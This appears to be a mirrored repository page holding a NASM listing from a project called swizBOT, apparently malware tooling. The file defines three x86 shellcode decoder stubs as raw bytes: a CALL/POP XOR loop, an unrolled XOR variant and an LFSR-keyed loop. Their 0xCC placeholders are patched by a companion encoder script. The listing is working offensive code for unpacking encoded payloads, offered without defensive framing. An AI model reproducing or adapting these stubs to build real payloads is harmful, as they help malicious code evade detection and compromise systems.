mirror of
https://git.churchofmalware.org/ek0mssavi0r/swizBOT
synced 2026-09-24 08:34:38 +00:00
24 lines
882 B
NASM
24 lines
882 B
NASM
; swizBOT decoder listing - 32-bit
|
|
; CALL/POP XOR decoder family (Jake Swiz technique)
|
|
; Placeholder bytes are 0xCC and are patched by stager/encoder.py.
|
|
; Verify: nasm -f bin decoder_x86.asm && compare with encoder output
|
|
|
|
BITS 32
|
|
|
|
stub_xor_loop:
|
|
db 0xeb, 0x0f, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x80, 0x36, 0xcc, 0x46, 0xe2, 0xfa, 0xeb
|
|
db 0x05, 0xe8, 0xec, 0xff, 0xff, 0xff
|
|
stub_xor_loop_end:
|
|
|
|
stub_xor_unrolled:
|
|
db 0xeb, 0x0f, 0x5e, 0x31, 0xc0, 0xb0, 0xcc, 0x80, 0x36, 0xcc, 0x46, 0xfe, 0xc8, 0x75, 0xf8, 0xeb
|
|
db 0x05, 0xe8, 0xec, 0xff, 0xff, 0xff
|
|
stub_xor_unrolled_end:
|
|
|
|
stub_lfsr_loop:
|
|
db 0xeb, 0x1f, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x31, 0xd2, 0xba, 0xcc, 0xcc, 0xcc, 0xcc
|
|
db 0x30, 0x16, 0xd1, 0xea, 0x73, 0x06, 0x81, 0xf2, 0x03, 0x00, 0x20, 0x80, 0x46, 0xe2, 0xf1, 0xeb
|
|
db 0x05, 0xe8, 0xdc, 0xff, 0xff, 0xff
|
|
stub_lfsr_loop_end:
|
|
|